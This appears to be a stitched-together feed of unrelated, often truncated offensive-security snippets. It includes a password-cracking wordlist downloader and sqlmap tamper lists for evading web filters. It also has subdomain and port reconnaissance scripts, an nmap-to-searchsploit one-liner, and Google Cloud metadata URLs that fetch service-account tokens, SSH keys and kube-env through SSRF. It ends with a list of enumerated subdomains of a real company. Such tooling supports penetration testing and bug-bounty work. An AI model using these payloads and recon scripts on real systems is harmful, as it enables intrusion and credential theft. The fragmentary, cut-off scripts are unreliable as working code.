random-robbie

#!/bin/bash
#Script by OliverK
#Downloads _every_ wordlist in the packet storm security site.
#April 18th, 2011
# Updated  Oct , 2th, 2012
mkdir common
cd common
wget --no-check-certificate  http://dl.packetstormsecurity.net/Crackers/wordlists/common-4
wget --no-check-certificate  http://dl.packetstormsecurity.net/Crackers/wordlists/common-3
wget --no-check-certificate  http://dl.packetstormsecurity.net/Crackers/wordlists/common-2

sapran

# All scripts
```
--tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords
```
# General scripts
```
--tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes
```
# Microsoft access
```

random-robbie

#!/bin/bash
echo "[*]Basic Aquatone Scan Started [*]"
aquatone-discover -d $1 --threads 10
aquatone-scan -d $1 --ports huge --threads 10
DEBUG=nightmare xvfb-run -a aquatone-gather -d $1 --threads 10
aquatone-takeover -d $1 --threads 10
echo "[*]sublistr scan for subdomains[*]"
python /root/Sublist3r/sublist3r.py -v -b -d $1 -o $1-subdomains.txt
dos2unix $1-subdomains.txt
echo "Merging found subdomains"

random-robbie

#!/bin/bash

discovery(){
  hostalive $1
  screenshot $1
  cleanup $1
  cat ./$1/$foldername/responsive-$(date +"%Y-%m-%d").txt | sort -u | while read line; do
    sleep 1
    dirsearcher $line
    report $1 $line

random-robbie

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json
http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/?recursive=true&alt=json
http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json
http://metadata.google.internal/computeMetadata/v1beta1/project//attributes/ssh-keys
http://metadata.google.internal/computeMetadata/v1beta1/instance/hostname

random-robbie

#!/bin/bash
strip=$(echo $1|sed 's/https\?:\/\///')
echo ""
echo "######################################"
echo $strip
echo "######################################"
echo ""
massscan -p1-65535 $(dig +short $strip|grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b"|head -1) --max-rate 1000 |& tee $strip_scan

ehsahil

#Finding subdomains via Nmap. 

nmap --script dns-brute --script-args dns-brute.domain=domain.com,dns-brute.threads=6,dns-brute.hostlist=./sub1000.lst

nmap --script dns-brute --script-args dns-brute.domain=domain.com,dns-brute.threads=6,dns-brute.hostlist=./sub10000.lst

nmap --script dns-brute --script-args dns-brute.domain=domain.com,dns-brute.threads=6,dns-brute.hostlist=./sub100000.lst

nmap --script dns-brute --script-args dns-brute.domain=domain.com,dns-brute.threads=6,dns-brute.hostlist=./sub1000000.lst

ntrzz

curl -s $1 | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" | sort | uniq | grep ".js" > jslinks.txt; while IFS= read link; do python linkfinder.py -i "$link" -o cli; done < jslinks.txt | grep $2 | grep -v $3 | sort -n | uniq; rm -rf jslinks.txt

random-robbie

Using nmap alongside searchsploit in Kali Linux to grab any low hanging fruit:

nmap -p- -sV -oX 71-new.xml 10.10.10.71; searchsploit --nmap 71-new.xml

This creates a xml file called 71-new.xml file, then reference the file using ; searchsploit --nmap 71-new.xml

chrisyoung.net

random-robbie-research

202020.att.com
28days.att.com
9f283a94cff0f36fe8830bb47ef0952277e1bee6.efss.emea.synaptic.att.com
a1acarg01-dmz.wireless.labs.att.com
a1acarg01-oam.wireless.labs.att.com
a1acarg01-svc.wireless.labs.att.com
a1acarg02-dmz.wireless.labs.att.com
a1acarg02-oam.wireless.labs.att.com
a1acarg02-svc.wireless.labs.att.com
a1acarg03-dmz.wireless.labs.att.com